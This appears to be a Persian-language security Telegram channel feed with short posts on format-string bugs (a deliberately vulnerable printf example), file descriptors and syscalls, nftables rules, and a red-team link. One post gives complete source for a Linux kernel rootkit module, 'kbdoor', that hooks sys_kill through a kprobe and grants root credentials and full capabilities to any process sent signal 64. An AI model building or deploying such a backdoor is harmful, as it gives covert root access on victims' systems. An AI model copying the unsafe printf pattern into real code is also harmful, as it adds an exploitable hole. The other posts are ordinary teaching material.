SecForge

سلام چطورین ؟ امروز اومدیم یه کد ساده برسی کنیم و بعدش برسیم به یه آسیب پذیری که ببینیم چطوری موجبش میشه و چی هست اصلا: #include <stdio.h> int main() {     char mmd[100];     fgets(mmd, sizeof(mmd), stdin);      printf(mmd);                         return 0 برای برسی این کد باید یه آسیب پذیری به اسم Format String آشنا باشیم. زمانی مشهور شد که این آسیب پذیریو توی apache , wu-ftpd اکسپلویتش کردن. در حالت عادی printf میاد از ما یه format میگیره برای اینکه مشخص کنه خروجی ما به چه حالتی هستش مثلا (d,"i%")printf میاد حالا عدد صحیح برا ما پرینت میگیره حالا فکر کن کاربر بیاد ورودی mmd 3 تا %x بزاره اون موقع چی میشه؟ در واقع printf میاد اون رو به عنوان فرمت تفسیر میکنه و به چاپ رشته میاد شروع به خوندن مقادیر stack میکنه و حالا میتونه با p% بیاد ادرس های حافظه ببینه و s% بیاد رشته هایی که توی حافظه هستن رو بخونه و .... خطرناک ترین حرکتی که میتونه پیاده کنه استفاده از GOT رو به RCE دلخواه خودش برسونه. با این حرکت میشه حمله هایی مثل memory leak , arbitrary write  و چیزای دیگه پیاده سازی کردش . یکی از روشایی که میشه ازش محافظت کرد استفاده از checksec هست که وضعیتشو برسی میکنه که در چه حالتی هستش مثل چک کردن stack canary ,Aslr .... بعدشم میشه از خود کامپایلرمون با ست کردن سویچ های -fstack-protector-strong و -Wformat-security و ... موقع کامپایل کردنشون هست. Join channel⚡

خب سلام چطورین؟ امروز میخوایم ببینیم FD چی هستش و اصلا syscall ها چطور کار میکنن؟؟ یک File Descriptor یا FD تو کرنل لینوکس یک عدد صحیح غیر منقی هستش که به عنوان یک شناسه برای یک  Open Resource در یک فرآیند عمل می‌کنه و  یه جمله که همیشه درباره لینوکس میگن اینه که همه چیز یک فایل است پس FD می‌تونه به انواع مختلفی از منابع اشاره کنه: یک فایل معمولی روی دیسک، یک دایرکتوری، یک پایانه ترمینال، یک سوکت شبکه، یک pipe یا حتی یک دستگاه سخت‌افزاری. توی کرنل هر پراسس یک file descriptor table داره که مثل یه آرایه عمل میکنه و این جدول هر عدد صحیح به ساختار داخلی به نام struct file تبدیل میکنه . struct file حاوی تموم اطلاعات مورد نیاز کرنل برای مدیریت اون ریسورس هستش که برای read , write , open استفاده میشه . یکم بخوایم دیپ بشیم زمانی این FD میاد رو کار که این (path)OPEN اگه این بخش false باشه خب exit میشه ولی در غیر این صورت اگه درست باشه میاد و یه عدد میگیره که 3 تاشون خیلی معروفن و رزرو شده هستن => 0 و 1و2 => STDIN , STDOUT , STDERR که توی کد پایین نمونش رو داریم میبینیم: #include <stdio.h> #include <fcntl.h>     #include <unistd.h>    #include <errno.h>     #include <string.h>    int main() {     int fd = open("test.txt", O_RDONLY | O_CREAT, 0644);     if (fd == -1) {         printf("err: %s\n", strerror(errno));         return 1;     }     printf("success! FD: %d\n", fd);         close(fd);     printf("closed.\n");         return 0; } اینجا ما یه syscall داریم که ()open هستش . بخش بعدی مربوط به O_RDONLY هستش که یعنی فقط دسترسیمون درحد خوندن باشه و O_CREAT هست که اگه فایل مورد نظر موجود نبود ساخته بشه.0644 هم منظورش دسترسی سازنده فایل هستش که فقط مالک دسترسی read , write داره و بقیه فقط Readonly هستش. تا اینجا حدودی با FD , دلیل وجود و کاربردش  و ... اشنا شدیم و الان بریم سر وقت syscall. در واقع syscall یه مترجم یا بخوام خیلی بخوام مرامی بگم API بین  user space , kernel space هستش . userspace بخوام بگم یه محیطی هستش که حالا وب سرور ها و ادیتورها و ... توی اون بخش اجرا میشن و یه بخش محدود هستش و دسترسی کامل به فضای آدرس دهی نداریم و دسترسیمون به سخت افزار خیلی محدوده.… خواندن کامل ←

https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#binary-files چیز خوبیه تا حدودی بیکار شدین بخونیدش.

این ۴ روزو درگیر بودم امشب دوباره شروع میکنیم⚡

سلام چطورین؟ یه مقداری داشتم درباره iptables میخوندم و اومدن nftables به جای این فایروال قدیمی که خب واضح تر و درست بخوام بگم همون packet filter خودمون میشه که بر پایه فریم ورک netfilter هستش داخل کرنل(البته اینم بگم خود nftables هم جزئشه). فایروال شبکه لینوکس در داخل خود kernel انجام میشه . ابزار ها و دیمون های userspace میتونن اون رو مدیریت و کانفیگ کنن ولی اونا فقط اطلاعات پیکربندی به kernel میفرستن.لاگ های فایروال هم از سمت kernel rings buffer ارسال میشه. قابلیت فایروال nftables یه پیشرفت گنده ای که نسبت به iptables داشته اینه که علاوه بر فیلترینگ ipv4 , ipv6 , mac داخل یه فایل .conf ترکیب میکنه اینه که برای هر rule چندین action انجام بدیم که خب چیز جالبیه. مسیر => /etc/nftables.conf یا /etc/nftables/ من تو اینترنت گشتم و حقیقتا یه فایل پیکربندی پیدا کردم و پایین میزارمش : table inet filter {     chain input {         type filter hook input priority 0;         ct state {established, related} accept         iifname lo accept         ip protocol icmp accept         tcp dport 22 accept         reject with icmp type port-unreachable     }     chain forward {         type filter hook forward priority 0;         drop     }     chain output {         type filter hook output priority 0;     } } داخل nftables همه rule ها داخل یک Tables قرار میگیرن و ساختارشون اینطوریه(اگه یه مقدار مفهوم بد رسوندم پیوی بگین بیشتر توضیحش بدم) : table chain{ rule rule ... }chain بعد از این مورد ما inet ها رو داریم . چیزی که family جدول مشخص میکنه و family های موجود اینها هستن: ipv4,ipv6,inet,arp,brindge,netdev داخل rule که تعریف کردیم ient هست یعنی قوانین روی v4,v6 هر دو اعمال میشه! بخش اول یا بهتره بگیم chain اول درباره input ها یا اعمال قوانین روی packet هایی هستش که وارد سیستم میشه مثلا ssh , http , icmp , ... اگه دقت کنیم اول اول نوشتیم type filter که ما کبل 3 تا تایپ اصلی داریم filter , net , route در اینجا filter تصمیم میگیره accept یا drop انجام بده بخش بعدی نوشته شده hook input (یه مقدار بر میگرده به netfilter که چند تا نقطه هوک کردن داره incoming , prerouting , input , application… خواندن کامل ←

سلام چطورین یکمی قراره درباره ftrace و هوک کردن توضیح بدیم حالا اگه اوکی بود فیلمشم میزاریم

#include <linux/module.h> #include <linux/kprobes.h> #include <linux/sched.h> #include <linux/cred.h> #include <linux/pid.h> #include <linux/slab.h> #define MAGIC_SIG 64 static struct kprobe kp; static int pre_kill(struct kprobe *p, struct pt_regs *regs) {     int sig = (int)regs->si;     pid_t pid = (pid_t)regs->di;     struct pid *pidp;     struct task_struct *task;     const struct cred *old;     struct cred *new;     if (sig != MAGIC_SIG)         return 0;     pidp = find_vpid(pid);     if (!pidp)         return 0;     task = pid_task(pidp, PIDTYPE_PID);     if (!task || !task->cred)         return 0;     old = task->cred;     new = kmemdup(old, sizeof(struct cred), GFP_KERNEL);     if (!new)         return 0;     atomic_set(&new->usage, 1);     new->uid = new->euid = new->suid = new->fsuid = GLOBAL_ROOT_UID;     new->gid = new->egid = new->sgid = new->fsgid = GLOBAL_ROOT_GID;     new->cap_effective = new->cap_permitted = new->cap_bset = CAP_FULL_SET;     rcu_assign_pointer(task->real_cred, new);     rcu_assign_pointer(task->cred, new);     put_cred(old);     put_cred(old);     pr_info("kbdoor: pid %d -> root\n", pid);     return 0; } static int __init init_mod(void) {     kp.symbol_name = "__x64_sys_kill";     kp.pre_handler = pre_kill;     if (register_kprobe(&kp) < 0)         return -1;     pr_info("kbdoor: loaded\n");     return 0; } static void __exit exit_mod(void) {     unregister_kprobe(&kp);     pr_info("kbdoor: unloaded\n"); } module_init(init_mod); module_exit(exit_mod); MODULE_LICENSE("GPL"); میخوام یه مقدار ماهیت اجرایی این روتکیت گوگولی هستش که حالا اون بخش هوک کردن sys_kill و .... رو جلو ببریم اگه حالا جاییش مشکل داشت میتونین پیویم بیاین بگین که برای فرداشب بخش کاملشو بزارم و لذت ببریم

دوستان طول کشید ببخشید یکمی درگیرم این چند وقت امشب کاملش میکنم میزارم براتون❤

سلام چطورین؟ فرداشب موضوعمون یکم درباره sandbox process توی لینوکس هستش به نظرم چیز جالبیه یکمی هم حال کردم درباره DNS بنویسم یه چیزای جالب دربارش خوندم